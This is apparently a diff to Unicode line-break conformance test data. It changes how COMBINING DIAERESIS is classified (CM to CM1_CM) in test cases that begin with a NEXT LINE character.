-× 0085 ÷ 0308 × 0020 × 000B ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0085 ÷ 0308 × 000B ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 × 000B ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0085 ÷ FFFC ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0085 ÷ 0020 ÷ FFFC ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0085 ÷ 0308 ÷ FFFC ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ FFFC ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0085 ÷ 0308 ÷ FFFC ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ FFFC ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0085 ÷ 007D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0085 ÷ 0020 × 007D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0085 ÷ 0308 × 007D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 × 007D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0085 ÷ 0308 × 007D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 × 007D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0085 ÷ 0029 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0085 ÷ 0020 × 0029 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0085 ÷ 0308 × 0029 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 × 0029 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0085 ÷ 0001 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] <START OF HEADING> (CM) ÷ [0.3]
-× 0085 ÷ 0020 ÷ 0001 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0085 ÷ 0308 × 0001 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 0001 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 0085 ÷ 0308 × 0029 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 × 0029 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0085 ÷ 000D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0085 ÷ 0020 × 000D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0085 ÷ 0308 × 000D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 × 000D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0085 ÷ 0308 × 000D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 × 000D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0085 ÷ 0021 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] EXCLAMATION MARK (EX) ÷ [0.3]
× 0085 ÷ 0020 × 0021 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0085 ÷ 0308 × 0021 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 × 0021 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0085 ÷ 0308 × 0021 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 × 0021 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0085 ÷ 00A0 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] NO-BREAK SPACE (GL) ÷ [0.3]
× 0085 ÷ 0020 ÷ 00A0 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0085 ÷ 0308 × 00A0 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 00A0 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0085 ÷ 0308 × 00A0 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 00A0 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 0085 ÷ AC00 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0085 ÷ 0020 ÷ AC00 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0085 ÷ 0308 ÷ AC00 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ AC00 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0085 ÷ 0308 ÷ AC00 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ AC00 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0085 ÷ AC01 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0085 ÷ 0020 ÷ AC01 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0085 ÷ 0308 ÷ AC01 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ AC01 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0085 ÷ 0308 ÷ AC01 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ AC01 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0085 ÷ 05D0 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0085 ÷ 0020 ÷ 05D0 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0085 ÷ 0308 × 05D0 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 05D0 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0085 ÷ 0308 × 05D0 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 05D0 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0085 ÷ 002D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] HYPHEN-MINUS (HY) ÷ [0.3]
× 0085 ÷ 0020 ÷ 002D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0085 ÷ 0308 × 002D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 002D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0085 ÷ 0308 × 002D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 002D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 0085 ÷ 231A ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] WATCH (ID) ÷ [0.3]
× 0085 ÷ 0020 ÷ 231A ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 0085 ÷ 0308 ÷ 231A ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 231A ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 0085 ÷ 0308 ÷ 231A ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 231A ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 0085 ÷ 2024 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] ONE DOT LEADER (IN) ÷ [0.3]
× 0085 ÷ 0020 ÷ 2024 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 0085 ÷ 0308 × 2024 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 2024 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 0085 ÷ 0308 × 2024 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 2024 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 0085 ÷ 002C ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMMA (IS) ÷ [0.3]
× 0085 ÷ 0020 × 002C ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 0085 ÷ 0308 × 002C ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 × 002C ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 0085 ÷ 0308 × 002C ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 × 002C ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 0085 ÷ 1100 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0085 ÷ 0020 ÷ 1100 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0085 ÷ 0308 ÷ 1100 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 1100 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0085 ÷ 0308 ÷ 1100 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 1100 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0085 ÷ 11A8 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0085 ÷ 0020 ÷ 11A8 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0085 ÷ 0308 ÷ 11A8 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 11A8 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0085 ÷ 0308 ÷ 11A8 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 11A8 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0085 ÷ 1160 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0085 ÷ 0020 ÷ 1160 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0085 ÷ 0308 ÷ 1160 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 1160 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0085 ÷ 0308 ÷ 1160 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 1160 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0085 ÷ 000A ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0085 ÷ 0020 × 000A ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0085 ÷ 0308 × 000A ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 × 000A ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0085 ÷ 0308 × 000A ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 × 000A ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0085 ÷ 0085 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0085 ÷ 0020 × 0085 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0085 ÷ 0308 × 0085 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 × 0085 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0085 ÷ 0308 × 0085 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 × 0085 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0085 ÷ 17D6 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0085 ÷ 0020 ÷ 17D6 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0085 ÷ 0308 × 17D6 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 17D6 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0085 ÷ 0308 × 17D6 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 17D6 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0085 ÷ 0030 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] DIGIT ZERO (NU) ÷ [0.3]
× 0085 ÷ 0020 ÷ 0030 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 0085 ÷ 0308 × 0030 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 0030 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 0085 ÷ 0308 × 0030 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 0030 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 0085 ÷ 0028 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] LEFT PARENTHESIS (OP) ÷ [0.3]
× 0085 ÷ 0020 ÷ 0028 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0085 ÷ 0308 × 0028 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 0028 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0085 ÷ 0308 × 0028 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 0028 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 0085 ÷ 0025 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] PERCENT SIGN (PO) ÷ [0.3]
× 0085 ÷ 0020 ÷ 0025 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0085 ÷ 0308 ÷ 0025 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
